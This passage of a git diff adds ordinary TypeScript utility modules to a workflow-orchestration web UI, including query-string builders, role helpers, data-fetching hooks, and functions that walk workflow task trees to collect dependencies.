{ + for (const key in errors) { + const error = errors[key]; + if (typeof error === "object" && error !== null) { + const errorMessage = getReactHookFormError(error as FieldErrors); + if (errorMessage) { + return errorMessage; + } + } else if (typeof error === "string") { + return error; + } + } + return null; +}; + +export const removeNullAndHiddenKeys = ( + value: any, + hiddenKeys: string[] = [], +): object => { + if (_isArray(value)) { + return value + .map((val) => removeNullAndHiddenKeys(val, hiddenKeys)) + .filter(Boolean); + } + if (_isObject(value)) { + return _omitBy( + _mapValues(value, (value) => removeNullAndHiddenKeys(value, hiddenKeys)), + (value, key) => _isNull(value) || hiddenKeys?.includes(key), + ); + } + + return value; +}; diff --git a/ui-next/src/utils/regex.ts b/ui-next/src/utils/regex.ts new file mode 100644 index 0000000..e41a65a --- /dev/null +++ b/ui-next/src/utils/regex.ts @@ -0,0 +1 @@ +export const OBJECT_PROPERTY_NAME_REGEX = /^[!#$%&'*+\-.^_`|~0-9A-Za-z]+$/; diff --git a/ui-next/src/utils/releaseVersion.ts b/ui-next/src/utils/releaseVersion.ts new file mode 100644 index 0000000..cc428f2 --- /dev/null +++ b/ui-next/src/utils/releaseVersion.ts @@ -0,0 +1,4 @@ +export const releaseVersion = + process.env?.VITE_CONDUCTOR_UI_VERSION == null + ? "latest" + : process.env.VITE_CONDUCTOR_UI_VERSION; diff --git a/ui-next/src/utils/remoteServices.ts b/ui-next/src/utils/remoteServices.ts new file mode 100644 index 0000000..15f5248 --- /dev/null +++ b/ui-next/src/utils/remoteServices.ts @@ -0,0 +1,57 @@ +/** + * Utility functions for remote service operations. + * Extracted from pages/remoteServices so OSS code can use them without + * importing from an enterprise page. + */ + +export function splitHostAndPort(url = "") { + // Split by ":" to separate host and port + const [host, port] = url.split(/:(?=\d+$)/); + + // If there's no port, return null for port + return { host, port: Number(port) || null }; +} + +export function replaceDynamicParams( + url: string, + params: Record>, +): { url: string; headers?: Record } { + // Replace path parameters in the URL + const pathReplaced = url.replace(/\{(\w+)\}/g, (_, key: string): string => { + const param = params[key]; + return param && param?.type === "path" && param?.value != null + ? (param.value as string) + : `{${key}}`; // fallback to original if missing + }); + + // Collect query parameters + const queryParams = Object.values(params) + ?.filter( + (param) => + param.type === "query" && + param.value != null && + param.value !== undefined && + param.value !== "", + ) + ?.map((param) => `${param?.name}=${param.value}`); + + const queryString = queryParams.length ? `?${queryParams.join("&")}` : ""; + + // Collect headers if available + const headersEntries = Object.values(params) + ?.filter( + (param) => + param.type === "header" && + param.value != null && + param.value !== undefined && + param.value !== "", + ) + ?.map((param) => [param.name as string, String(param.value)]); + const headers = + headersEntries.length > 0 ? Object.fromEntries(headersEntries) : undefined; + + return { + url: pathReplaced + queryString, + ...(headers ? { headers } : {}), + }; +} diff --git a/ui-next/src/utils/roles.ts b/ui-next/src/utils/roles.ts new file mode 100644 index 0000000..e2b7d89 --- /dev/null +++ b/ui-next/src/utils/roles.ts @@ -0,0 +1,44 @@ +import { + roleAdmin, + roleMetaManager, + roleReadOnly, + roleUser, + roleWfManager, +} from "theme/tokens/colors"; +import { AccessRole } from "types/User"; +import { Role } from "utils/accessControl"; + +export const roleLabel: { [key: string]: string } = { + [Role.ADMIN]: "Admin", + [Role.USER]: "User", + [Role.METADATA_MANAGER]: "Metadata manager", + [Role.WORKFLOW_MANAGER]: "Workflow manager", + [Role.USER_READ_ONLY]: "Read only user", +}; + +export const userRoleColorGenerator = (role: string) => { + let tagColor; + if (role === Role.ADMIN) { + tagColor = roleAdmin; + } else if (role === Role.USER) { + tagColor = roleUser; + } else if (role === Role.WORKFLOW_MANAGER) { + tagColor = roleWfManager; + } else if (role === Role.METADATA_MANAGER) { + tagColor = roleMetaManager; + } else { + tagColor = roleReadOnly; + } + return { backgroundColor: tagColor }; +}; + +export const sortRoles = (roles?: AccessRole[]) => + (roles ?? []).sort((a: { name: string }, b: { name: string }) => { + if (a.name < b.name) { + return -1; + } + if (a.name > b.name) { + return 1; + } + return 0; + }); diff --git a/ui-next/src/utils/strings.ts b/ui-next/src/utils/strings.ts new file mode 100644 index 0000000..cc8c8f2 --- /dev/null +++ b/ui-next/src/utils/strings.ts @@ -0,0 +1,50 @@ +import _lowerCase from "lodash/lowerCase"; +import _upperFirst from "lodash/upperFirst"; + +import { findNextMissingSequentialNumber } from "utils/utils"; + +export const randomChars = (n = 7): string => + (Math.random() + 1).toString(36).substring(n); + +export const getSequentiallySuffix = ({ + name, + refNames, +}: { + name: string; + refNames: string[]; +}) => { + // Finding a suffix number array + // Because the task name can be modified, so the suffix number maybe not sequential + // ex: The original: [1,2,3] + // after modifying it can be: [15,2,3] + const taskNumbers = refNames.reduce((acc, taskReferenceName) => { + if (taskReferenceName) { + if (taskReferenceName.startsWith(`${name}`)) { + const lastNumber = Number(taskReferenceName.replace(`${name}_`, "")); + + if (lastNumber > 0) { + return [...acc, lastNumber]; + } + + return [...acc, 0]; + } + } + + return acc; + }, [] as number[]); + + let missingNum = findNextMissingSequentialNumber(taskNumbers); + + if (missingNum === null) { + missingNum = taskNumbers[taskNumbers.length - 1] + 1; + } + + const suffixString = missingNum ? `_${missingNum}` : ""; + + return { + name: `${name.replace("_ref", "")}${suffixString}`, + taskReferenceName: `${name}${suffixString}`, + }; +}; + +export const toUpperFirst = (str: string) => _upperFirst(_lowerCase(str)); diff --git a/ui-next/src/utils/task.ts b/ui-next/src/utils/task.ts new file mode 100644 index 0000000..511a49a --- /dev/null +++ b/ui-next/src/utils/task.ts @@ -0,0 +1,70 @@ +import { + CommonTaskDef, + ForkJoinDynamicDef, + JDBCTaskDef, + LLMTaskTypes, + SetVariableTaskDef, +} from "types/TaskType"; +import { TASK_STATUS } from "./constants/task"; +import { flipObject } from "./object"; +import { TaskType } from "types/common"; +import { HumanTaskDef } from "types/HumanTaskTypes"; + +const taskOrder = [ + TASK_STATUS.SCHEDULED, + TASK_STATUS.IN_PROGRESS, + TASK_STATUS.SKIPPED, + TASK_STATUS.COMPLETED, + TASK_STATUS.COMPLETED_WITH_ERRORS, + TASK_STATUS.TIMED_OUT, + TASK_STATUS.FAILED, + TASK_STATUS.FAILED_WITH_TERMINAL_ERROR, +]; + +const arrayAsObject: Record = Object.assign({}, taskOrder); + +const taskOrderObject = flipObject(arrayAsObject); + +export const taskStatusCompareFn = (a: string, b: string) => { + if (taskOrderObject[a] < taskOrderObject[b]) { + return -1; + } + if (taskOrderObject[a] > taskOrderObject[b]) { + return 1; + } + return 0; +}; + +const LLMTaskTypesTypes = [ + TaskType.LLM_TEXT_COMPLETE, + TaskType.LLM_GENERATE_EMBEDDINGS, + TaskType.LLM_GET_EMBEDDINGS, + TaskType.LLM_STORE_EMBEDDINGS, + TaskType.LLM_INDEX_DOCUMENT, + TaskType.LLM_SEARCH_INDEX, + TaskType.GET_DOCUMENT, + TaskType.LLM_INDEX_TEXT, + TaskType.LLM_CHAT_COMPLETE, +]; + +export const TaskTypesStrings = Object.values(TaskType); +// Task Predicates +export const isTask = (value: any): value is CommonTaskDef => + "type" in value && TaskTypesStrings.includes(value.type); + +export const isLLMTask = (task: CommonTaskDef): task is LLMTaskTypes => + LLMTaskTypesTypes.includes(task.type); + +export const isHumanTask = (task: CommonTaskDef): task is HumanTaskDef => + task.type === "HUMAN"; + +export const isSetVariable = ( + task: CommonTaskDef, +): task is SetVariableTaskDef => task.type === "SET_VARIABLE"; + +export const isDynamicForkTask = ( + task: CommonTaskDef, +): task is ForkJoinDynamicDef => task.type === "FORK_JOIN_DYNAMIC"; + +export const isJDBCTask = (task: CommonTaskDef): task is JDBCTaskDef => + task.type === "JDBC"; diff --git a/ui-next/src/utils/themeVariables.ts b/ui-next/src/utils/themeVariables.ts new file mode 100644 index 0000000..4c15630 --- /dev/null +++ b/ui-next/src/utils/themeVariables.ts @@ -0,0 +1,7 @@ +import { orkesTheme } from "theme/tokens/orkes-theme"; + +export const getThemeAsCSSVariables = (): string[] => { + return Array.from(Object.keys(orkesTheme)).map((name) => { + return `--${name}: ${(orkesTheme as any)[name]};`; + }); +}; diff --git a/ui-next/src/utils/toMaybeQueryString.ts b/ui-next/src/utils/toMaybeQueryString.ts new file mode 100644 index 0000000..22dbcb2 --- /dev/null +++ b/ui-next/src/utils/toMaybeQueryString.ts @@ -0,0 +1,37 @@ +import _isEmpty from "lodash/isEmpty"; +import _pickBy from "lodash/pickBy"; +import _isNil from "lodash/isNil"; + +export type UrlOptions = + | string + | string[][] + | Record + | URLSearchParams + | undefined; + +export const toMaybeQueryString = ( + qOptions: UrlOptions, + prefixChar: "?" | "&" = "?", +): string => { + const cleanedObject = _pickBy( + qOptions as object, + (a) => !_isNil(a), + ) as UrlOptions; + return _isEmpty(qOptions) + ? "" + : `${prefixChar}${ + new URLSearchParams(cleanedObject).toString() // filter out undefined values + }`; +}; + +export const urlWithQueryParameters = ( + url: string, + qOptions: UrlOptions, +): string => { + try { + const hasParams = [...new URL(url).searchParams]?.length; + return url + toMaybeQueryString(qOptions, hasParams ? "&" : "?"); + } catch { + return url + toMaybeQueryString(qOptions, "?"); + } +}; diff --git a/ui-next/src/utils/tracker.tsx b/ui-next/src/utils/tracker.tsx new file mode 100644 index 0000000..dc6ffe9 --- /dev/null +++ b/ui-next/src/utils/tracker.tsx @@ -0,0 +1,18 @@ +import { Helmet } from "react-helmet"; +import { featureFlags, FEATURES } from "./flags"; + +const isPlayground = featureFlags.isEnabled(FEATURES.PLAYGROUND); +const isUserManagement = featureFlags.isEnabled(FEATURES.ACCESS_MANAGEMENT); +const logRocketKey = featureFlags.getValue(FEATURES.HEAP_APP_ID); +const isHeapEnabled = () => isPlayground && isUserManagement && logRocketKey; + +export const MaybeHeapHelmet = () => { + return isHeapEnabled() ? ( + + + + ) : null; +}; diff --git a/ui-next/src/utils/useGetGroups.ts b/ui-next/src/utils/useGetGroups.ts new file mode 100644 index 0000000..bce1afd --- /dev/null +++ b/ui-next/src/utils/useGetGroups.ts @@ -0,0 +1,31 @@ +import { fetchWithContext, useFetchContext } from "plugins/fetch"; +import { useQuery } from "react-query"; +import { AccessGroup } from "types"; +import { STALE_TIME_SEARCH, useAuthHeaders } from "utils/query"; + +const GROUPS_PATH = "/groups"; + +export const useGetGroups = () => { + const fetchContext = useFetchContext(); + const fetchParams = { headers: useAuthHeaders() }; + + return useQuery( + [fetchContext.stack, GROUPS_PATH, {}], + () => { + const path = GROUPS_PATH; + return fetchWithContext(path, fetchContext, fetchParams); + // staletime to ensure stable view when paginating back and forth (even if underlying results change) + }, + { + enabled: fetchContext.ready, + keepPreviousData: true, + staleTime: STALE_TIME_SEARCH, + retry: (failureCount: number, error: any) => { + if (error?.status >= 400 && error.status < 500) { + return false; + } + return failureCount > 3; + }, + }, + ); +}; diff --git a/ui-next/src/utils/useGetUsers.ts b/ui-next/src/utils/useGetUsers.ts new file mode 100644 index 0000000..dcecf01 --- /dev/null +++ b/ui-next/src/utils/useGetUsers.ts @@ -0,0 +1,31 @@ +import { fetchWithContext, useFetchContext } from "plugins/fetch"; +import { useAuthHeaders, STALE_TIME_SEARCH } from "utils/query"; +import { useQuery } from "react-query"; +import { User } from "types"; + +const USERS_PATH = "/users"; + +export const useGetUsers = () => { + const fetchContext = useFetchContext(); + const fetchParams = { headers: useAuthHeaders() }; + + return useQuery( + [fetchContext.stack, USERS_PATH, {}], + () => { + const path = USERS_PATH; + return fetchWithContext(path, fetchContext, fetchParams); + // staletime to ensure stable view when paginating back and forth (even if underlying results change) + }, + { + enabled: fetchContext.ready, + keepPreviousData: true, + staleTime: STALE_TIME_SEARCH, + retry: (failureCount: number, error: any) => { + if (error?.status >= 400 && error.status < 500) { + return false; + } + return failureCount > 3; + }, + }, + ); +}; diff --git a/ui-next/src/utils/useIntegrationProviders.ts b/ui-next/src/utils/useIntegrationProviders.ts new file mode 100644 index 0000000..452bccb --- /dev/null +++ b/ui-next/src/utils/useIntegrationProviders.ts @@ -0,0 +1,20 @@ +import { toMaybeQueryString } from "./toMaybeQueryString"; +import { INTEGRATIONS_API_URL } from "./constants/api"; +import { useFetch, STALE_TIME_DROPDOWN } from "./query"; +import { IntegrationCategory } from "types/Integrations"; + +export function useIntegrationProviders({ + category, + activeOnly, +}: { + category: IntegrationCategory; + activeOnly: boolean; +}) { + const maybeQueryString = toMaybeQueryString({ category, activeOnly }); + const url = `${INTEGRATIONS_API_URL.PROVIDER}${maybeQueryString}`; + + const result = useFetch(url, { + staleTime: STALE_TIME_DROPDOWN, + }); + return result; +} diff --git a/ui-next/src/utils/useInterval.ts b/ui-next/src/utils/useInterval.ts new file mode 100644 index 0000000..4ddd4bb --- /dev/null +++ b/ui-next/src/utils/useInterval.ts @@ -0,0 +1,30 @@ +import { useEffect, useRef, useLayoutEffect } from "react"; + +// See: https://usehooks-ts.com/react-hook/use-isomorphic-layout-effect + +const useIsomorphicLayoutEffect = + typeof window !== "undefined" ? useLayoutEffect : useEffect; + +function useInterval(callback: () => void, delay: number | null) { + const savedCallback = useRef(callback); + + // Remember the latest callback if it changes. + useIsomorphicLayoutEffect(() => { + savedCallback.current = callback; + }, [callback]); + + // Set up the interval. + useEffect(() => { + // Don't schedule if no delay is specified. + // Note: 0 is a valid value for delay. + if (!delay && delay !== 0) { + return; + } + + const id = setInterval(() => savedCallback.current(), delay); + + return () => clearInterval(id); + }, [delay]); +} + +export default useInterval; diff --git a/ui-next/src/utils/useLazyWorkflowNameAutoComplete.ts b/ui-next/src/utils/useLazyWorkflowNameAutoComplete.ts new file mode 100644 index 0000000..4b555e1 --- /dev/null +++ b/ui-next/src/utils/useLazyWorkflowNameAutoComplete.ts @@ -0,0 +1,15 @@ +import { useMemo, useState } from "react"; +import { useWorkflowNames } from "./query"; + +export const useLazyWorkflowNameAutoComplete = ( + nameFilter = (_x: string) => true, +): [() => void, string[]] => { + const [fetch, setEnableFetch] = useState(false); + const workflowNames = useWorkflowNames({ enabled: fetch }); + const names = useMemo((): string[] => { + return workflowNames + .filter(nameFilter) + .sort((a, b) => a.toLowerCase().localeCompare(b.toLowerCase())); + }, [workflowNames, nameFilter]); + return [() => setEnableFetch(true), names]; +}; diff --git a/ui-next/src/utils/utils.ts b/ui-next/src/utils/utils.ts new file mode 100644 index 0000000..5620cf9 --- /dev/null +++ b/ui-next/src/utils/utils.ts @@ -0,0 +1,385 @@ +import { JsonSchema } from "@jsonforms/core"; +import _capitalize from "lodash/fp/capitalize"; +import _defaultTo from "lodash/fp/defaultTo"; +import isEmpty from "lodash/isEmpty"; +import isNil from "lodash/isNil"; +import _mapValues from "lodash/mapValues"; +import _pickBy from "lodash/pickBy"; +import { useCallback, useState } from "react"; +import { TagDto } from "types/Tag"; +import { + ErrorObj, + FIELD_TYPE_OBJECT, + TaskDef, + TaskType, + TryFn, +} from "types/common"; +import { inferType } from "./helpers"; +import { logger } from "./logger"; + +/** + * When there are validation errors the backend will respond with something like: + * + * (2) + * { + * "message" : "..." + * "validationErrors": [ + * { + * "path": "ownerEmail", + * "message": "ownerEmail cannot be empty" + * } + * ] + * ... + * } + * + * This function returns an object with the errors as properties e.g.: + * { "ownerEmail": "ownerEmail cannot be empty" } + * and the message if present. + * + * NOTES: path may take this form if it's a list registerTaskDef.taskDefinitions[0].ownerEmail. + * + * "message" may be a generic error message or a comma separated list of all messages. + * + * @param response Fetch response object + * @returns if "errors" exists in the response an object which properties are the errors. + */ +export const GENERIC_ERROR = "Error performing action. error number:"; + +const defaultToEmpty = _defaultTo(""); + +export const defaultGenericErrorHandler = (response: Response) => ({ + message: `${GENERIC_ERROR} ${defaultToEmpty( + String(response?.status), + )} ${defaultToEmpty(response.statusText)}`, +}); + +export const getErrors = async ( + response: Response, + genericErrorHandler = defaultGenericErrorHandler, +) => { + const contentType = response.headers?.get("content-type"); + if (isNil(contentType) || contentType.indexOf("application/json") === -1) { + console.error("Body is not even json. Check Response! ", response); + return genericErrorHandler(response); + } + + const clonedResponse = response.clone(); + const body = await clonedResponse.json(); + + if (isEmpty(body?.validationErrors) && isEmpty(body?.message)) { + console.error( + Object.assign(Error("No error messages in response"), { body }), + ); + return genericErrorHandler(clonedResponse); + } + + return Object.assign( + { message: body.message }, + ...(isEmpty(body.validationErrors) + ? [] + : body.validationErrors.map( + (error: { path: string; message: string }) => ({ + [error.path]: error.message, + }), + )), + ); +}; + +export const getErrorMessage = async (response: Response): Promise => { + const parsedError = await getErrors(response); + + if (parsedError?.message) { + return parsedError?.message; + } + + return ""; +}; + +export const tryFunc = async ({ + fn, + customError, + showCustomError = true, +}: { + fn: TryFn; + customError?: E; + showCustomError?: boolean; +}) => { + try { + return await fn(); + } catch (error: any) { + logger.error("[tryFunc] error:", error); + const details = await getErrors(error); + + return Promise.reject({ + ...customError, + originalError: details, + message: + !showCustomError && details?.message != null + ? details?.message + : customError?.message, + }); + } +}; + +export const capitalizeFirstLetter = _capitalize; + +export const getTitleSuffix = (type?: string, id?: string) => { + if (type) { + return ` - ${capitalizeFirstLetter(type)}` + (id ? ` - ${id}` : ""); + } + return ""; +}; + +export const tryToJson = (str?: string | null): T | undefined => { + if (str == null) { + return undefined; + } + try { + return JSON.parse(str) as T; + } catch (error) { + logger.error(`Error parsing JSON: ${error}`); + return undefined; + } +}; + +export const castToBooleanIfIsBooleanString = (value: string) => { + if (value === "true") { + return true; + } + + if (value === "false") { + return false; + } + + return value; +}; + +export const isSafari = + /Safari/.test(navigator.userAgent) && /Apple Computer/.test(navigator.vendor); + +/** + * Convert time from seconds to d:h:m:s + * Ex: 70 seconds = 1m 10s + * @param timeInSeconds + */ +export const calculateTimeFromMillis = (timeInSeconds: number) => { + let totalTime = timeInSeconds >= 0 ? timeInSeconds : 0; + const perDay = 24 * 60 * 60; + const perHour = 60 * 60; + const perMinute = 60; + + const days = Math.floor(totalTime / perDay); + + if (days > 0) { + totalTime %= days * perDay; + } + + const hours = Math.floor(totalTime / perHour); + + if (hours > 0) { + totalTime %= hours * perHour; + } + + const minutes = Math.floor(totalTime / perMinute); + + if (minutes > 0) { + totalTime %= minutes * perMinute; + } + + if (days === 0) { + if (hours === 0) { + return `${minutes}m ${totalTime}s`; + } else { + return `${hours}h ${minutes}m ${totalTime}s`; + } + } + return `${days}d ${hours}h ${minutes}m ${totalTime}s`; +}; + +export const calculateDifferentTime = (startTime: number, endTime: number) => { + if (endTime >= startTime) { + const executionTime = endTime - startTime; + + if (executionTime < 1000) { + return `${executionTime} ms`; + } + + return calculateTimeFromMillis(Math.floor(executionTime / 1000)); + } + + return ""; +}; + +export const createSearchableTags = (tags: TagDto[]) => { + return (tags || []).map((tag) => `${tag.key}:${tag.value}`).join(" "); +}; + +export const totalPages = ( + currentPage: number, + rowsPerPage: string, + resultLength: string, +) => { + let value = ""; + if (currentPage === 1 && resultLength < rowsPerPage) { + value = "1"; + } else { + value = "many"; + } + return value; +}; + +/** + * Finding the missing number sequentially + * ex: array = [0,1,1,2,2,15] + * expected: missingNum = 3 + * @param arr: number[] + */ +export const findNextMissingSequentialNumber = (arr: number[]) => { + // Step 1: Sort the array + arr.sort((a, b) => a - b); + + // Step 2: Loop through the sorted array and find the missing numbers + let lastNumber = arr[0]; + let nextMissingNumber = null; + + for (let i = 1; i < arr.length; i++) { + const currentNumber = arr[i]; + if (currentNumber !== lastNumber && currentNumber - lastNumber > 1) { + nextMissingNumber = lastNumber + 1; + break; + } + lastNumber = currentNumber; + } + + // Step 3: Return the next missing number + return nextMissingNumber; +}; + +export const useCoerceToObject = ( + onChange: (a: string) => void, + oValue: string | Record, +): [(val: string) => void, string, boolean] => { + const [stringAsObject, setObjString] = useState<[string, boolean]>([ + inferType(oValue) === FIELD_TYPE_OBJECT + ? JSON.stringify(oValue, null, 2) + : "", + false, + ]); + + const handleUpdateObjectValue = useCallback( + (val: string) => { + try { + const parsed = JSON.parse(val); + onChange(parsed); + setObjString([val, false]); + } catch { + setObjString([val, true]); + } + }, + [onChange], + ); + return [handleUpdateObjectValue, ...stringAsObject]; +}; + +export const optionsNameLabelGenerator = (options: string[]) => { + const result: { name: string; label: string }[] = []; + if (options && options.length > 0) { + options.map((item) => { + result.push({ name: item, label: item }); + return item; + }); + } + return result; +}; + +export const extractVariables = (text: string) => { + const regex = /\$\{([^}]+)\}/g; + + const variables = []; + let match; + + while ((match = regex.exec(text)) !== null) { + variables.push(match[1]); + } + + return variables; +}; + +export const capitalizeEachWord = (text: string) => { + if (text.length > 1) { + const words = text.split(" "); + + const capitalizedWords = words.map((word) => { + return word.toLowerCase().charAt(0).toUpperCase() + word.slice(1); + }); + + return capitalizedWords.join(" "); + } else { + return text; + } +}; + +export const isPseudoTask = (task: TaskDef) => + [TaskType.TERMINAL, TaskType.SWITCH_JOIN].includes(task.type); + +export const replaceNonAlphanumericWithUnderscore = (string: string) => { + return string.replace(/[^a-zA-Z0-9_]+/g, "_").replace(/^_+|_+$/g, ""); +}; + +// Utility function to get cookie value +export const getCookie = (name: string): string | null => { + const matches = document.cookie.match(new RegExp(`(?:^|; )${name}=([^;]*)`)); + return matches ? decodeURIComponent(matches[1]) : null; +}; + +export const defaultValueFromSchema = (schema?: JsonSchema) => { + if (!schema?.properties) { + return {}; + } + const defaultValues = _mapValues( + schema.properties, + (property) => property?.default, + ); + const sanitizedDefaults = _pickBy(defaultValues, (val) => val !== undefined); + return sanitizedDefaults; +}; + +export const getBaseUrl = (url = "") => { + try { + const parsedUrl = new URL(url); + return `${parsedUrl?.protocol}//${parsedUrl?.hostname}${ + parsedUrl?.port ? `:${parsedUrl?.port}` : "" + }`; + } catch (error) { + console.error("Invalid URL:", error); + return ""; + } +}; + +export const getInitials = (text: string, fallback = "NA"): string => { + if (!text) return fallback; + + const words = text + ?.replace(/[_-]/g, " ") // Replace underscores and hyphens with spaces + ?.replace(/([a-z])([A-Z])/g, "$1 $2") // Split camelCase (e.g., myText -> my Text) + ?.split(" ") + ?.filter(Boolean); // Remove empty strings + + if (words.length === 0) return fallback; + + // Handle single word case + if (words.length === 1) { + const word = words[0].trim(); + return word.length >= 2 + ? word.substring(0, 2).toUpperCase() + : (word[0]?.toUpperCase() || fallback[0]) + (fallback[1] || ""); + } + + // Handle multiple words + const initials = words + ?.slice(0, 2) + ?.map((word) => word[0]?.toUpperCase() || "") + ?.join(""); + + return initials || fallback; +}; diff --git a/ui-next/src/utils/workflow.ts b/ui-next/src/utils/workflow.ts new file mode 100644 index 0000000..89ae532 --- /dev/null +++ b/ui-next/src/utils/workflow.ts @@ -0,0 +1,481 @@ +import { WorkflowDef } from "types/WorkflowDef"; +import _sortBy from "lodash/sortBy"; +import _uniqBy from "lodash/fp/uniqBy"; +import _uniq from "lodash/fp/uniq"; +import { + CommonTaskDef, + ForkJoinTaskDef, + SwitchTaskDef, + DoWhileTaskDef, + SetVariableTaskDef, + ForkJoinDynamicDef, +} from "types/TaskType"; +import { + isDynamicForkTask, + isHumanTask, + isJDBCTask, + isLLMTask, + isSetVariable, + isTask, +} from "./task"; +import { isObjectOnlyNotArray, isObjectOrArray } from "./object"; + +/** + * Get unique workflows with latest version + * @param workflows WorkflowDef[] + * @returns WorkflowDef[] + */ +export const getUniqueWorkflows = (workflows: WorkflowDef[]) => { + const unique = new Map(); + const types = new Set(); + + for (const workflowDef of workflows) { + if (!workflowDef.createTime) { + workflowDef.createTime = 0; + } + + if (!unique.has(workflowDef.name)) { + unique.set(workflowDef.name, workflowDef); + } else if (unique.get(workflowDef.name).version < workflowDef.version) { + unique.set(workflowDef.name, workflowDef); + } + + if (workflowDef.tasks) { + for (const task of workflowDef.tasks) { + types.add(task.type); + } + } + } + + return Array.from(unique.values()); +}; + +/** + * Get unique workflows with versions + * @param workflows WorkflowDef[] + * @returns Map + */ +export const getUniqueWorkflowsWithVersions = (workflows?: WorkflowDef[]) => { + const result = new Map(); + + if (workflows) { + for (const def of workflows) { + let arr: number[] = result.get(def.name) || []; + + if (!result.has(def.name)) { + arr = []; + result.set(def.name, arr); + } + + arr.push(def.version); + } + + // Sort arrays in place + result.forEach((val, key) => { + // Sort versions + result.set(key, _sortBy(val)); + }); + } + + return result; +}; + +const isForkJoin = (task: CommonTaskDef): task is ForkJoinTaskDef => + task.type === "FORK_JOIN"; +const isSwitch = (task: CommonTaskDef): task is SwitchTaskDef => + task.type === "SWITCH"; +const isDoWhile = (task: CommonTaskDef): task is DoWhileTaskDef => + task.type === "DO_WHILE"; + +export function mapWalk( + tasks: CommonTaskDef[], + fn: (task: CommonTaskDef) => CommonTaskDef | null, +): CommonTaskDef[] { + return tasks.flatMap((task) => { + const newTask = fn(task); + if (!newTask) { + return []; + } + + if (isForkJoin(newTask)) { + newTask.forkTasks = newTask.forkTasks.map((tasks) => mapWalk(tasks, fn)); + } + + if (isSwitch(newTask)) { + newTask.decisionCases = Object.fromEntries( + Object.entries(newTask.decisionCases).map(([key, tasks]) => [ + key, + mapWalk(tasks, fn), + ]), + ); + if (newTask.defaultCase) { + newTask.defaultCase = mapWalk(newTask.defaultCase, fn); + } + } + + if (isDoWhile(newTask)) { + newTask.loopOver = mapWalk(newTask.loopOver, fn); + } + + return newTask; + }); +} + +function* walk(tasks: CommonTaskDef[]): Generator { + for (const task of tasks) { + yield task; + + if (isForkJoin(task) && task.forkTasks) { + for (const forkBranch of task.forkTasks) { + yield* walk(forkBranch); + } + } + + if (isSwitch(task)) { + if (task.decisionCases) { + for (const caseTasks of Object.values(task.decisionCases)) { + yield* walk(caseTasks); + } + } + if (task.defaultCase) yield* walk(task.defaultCase); + } + + if (isDoWhile(task) && task.loopOver) yield* walk(task.loopOver); + } +} + +// Flatten: returns a flat array of tasks +export function flatten(tasks: CommonTaskDef[]): CommonTaskDef[] { + return [...walk(tasks)]; +} + +export function filterTasks( + tasks: CommonTaskDef[], + predicate: (task: CommonTaskDef) => boolean, +): CommonTaskDef[] { + return Array.from(walk(tasks)).filter(predicate); +} + +/// Task Predicates + +const hasWorkflowVariable = (a: string): boolean => a.includes("${"); +/// Move to utils +// Move to utils + +const variableValueTaskParserExtractor = ( + task: SetVariableTaskDef | ForkJoinDynamicDef, + extractor: (task: CommonTaskDef) => string[], +): string[] => { + const taskValues = Object.values(task.inputParameters); + const valuesThatAreObjectOrArrays = taskValues.filter((value) => + isObjectOrArray(value), + ); + return valuesThatAreObjectOrArrays.flatMap((value) => { + if (isObjectOnlyNotArray(value) && isTask(value)) { + return extractor(value); + } else if (Array.isArray(value)) { + return value.flatMap((v) => extractor(v)); + } + return []; + }); +}; + +export const handlebarsMatcherExtractor = ( + val: any, + matcher: (val: string) => boolean, +): string[] => { + if (val && typeof val === "string") { + if (matcher(val)) { + return [val]; + } + } + if (Array.isArray(val)) { + return val.flatMap((v) => handlebarsMatcherExtractor(v, matcher)); + } + if (isObjectOnlyNotArray(val)) { + return Object.values(val).flatMap((v) => + handlebarsMatcherExtractor(v, matcher), + ); + } + return []; +}; + +const extractIntegrationName = (task: CommonTaskDef): string[] => { + if (isLLMTask(task)) { + if ( + "llmProvider" in task.inputParameters && + task.inputParameters.llmProvider != null && + !hasWorkflowVariable(task.inputParameters.llmProvider) + ) { + return [task.inputParameters.llmProvider]; + } else if ( + "vectorDB" in task.inputParameters && + task.inputParameters.vectorDB != null && + !hasWorkflowVariable(task.inputParameters.vectorDB) + ) { + return [task.inputParameters.vectorDB]; + } + } else if (isSetVariable(task) || isDynamicForkTask(task)) { + return variableValueTaskParserExtractor(task, extractIntegrationName); + } else if ( + isJDBCTask(task) && + "integrationName" in task.inputParameters && + task.inputParameters.integrationName != null && + !hasWorkflowVariable(task.inputParameters.integrationName) + ) { + return [task.inputParameters.integrationName]; + } + return []; +}; + +const extractPromptName = (task: CommonTaskDef): string[] => { + if (isLLMTask(task)) { + if ( + "promptName" in task.inputParameters && + task.inputParameters.promptName != null && + !hasWorkflowVariable(task.inputParameters.promptName) + ) { + return [task.inputParameters.promptName]; + } + + if ( + "instructions" in task.inputParameters && + task.inputParameters.instructions != null && + !hasWorkflowVariable(task.inputParameters.instructions) + ) { + return [task.inputParameters.instructions]; + } + } else if (isSetVariable(task) || isDynamicForkTask(task)) { + return variableValueTaskParserExtractor(task, extractPromptName); + } + return []; +}; + +export type NameVersion = { + name: string; + version?: string; +}; + +const extractUserFormNameVersion = (task: CommonTaskDef): NameVersion[] => { + if (isHumanTask(task)) { + if (task.inputParameters.__humanTaskDefinition.userFormTemplate?.name) { + return [ + { + name: task.inputParameters.__humanTaskDefinition.userFormTemplate + .name, + version: + task.inputParameters.__humanTaskDefinition.userFormTemplate.version?.toString(), + }, + ]; + } + } + return []; +}; + +const secretMatcher = (val: string) => { + return val.includes("${workflow.secrets.") && val.includes("}"); +}; + +const environmentVariablesMatcher = (val: string) => { + return val.includes("${workflow.env.") && val.includes("}"); +}; + +const extractSecrets = (task: CommonTaskDef): string[] => { + return handlebarsMatcherExtractor(task, secretMatcher); +}; + +const extractEnvironmentVariables = (task: CommonTaskDef): string[] => { + return handlebarsMatcherExtractor(task, environmentVariablesMatcher); +}; + +const extractSchemaNameVersion = (task: CommonTaskDef): NameVersion[] => { + const schemas = []; + if (task.taskDefinition?.inputSchema?.name) { + schemas.push({ + name: task.taskDefinition?.inputSchema?.name, + version: task.taskDefinition?.inputSchema?.version?.toString(), + }); + } + if (task.taskDefinition?.outputSchema?.name) { + schemas.push({ + name: task.taskDefinition?.outputSchema?.name, + version: task.taskDefinition?.outputSchema?.version?.toString(), + }); + } + return schemas; +}; + +type FoundDependencies = { + integrationNames: Set; + promptNames: Set; + userFormsNameVersion: NameVersion[]; + schemas: NameVersion[]; + secrets: Set; + env: Set; +}; + +const uniqueNameVersion = _uniqBy( + (nv: NameVersion) => `${nv.name}:${nv.version || ""}`, +); + +/** + * Walks through all available tasks in search for dependencies + * + * @param tasks wokflow tasks + * @returns + */ +export function scanTasksForDependenciesInTasks(tasks: 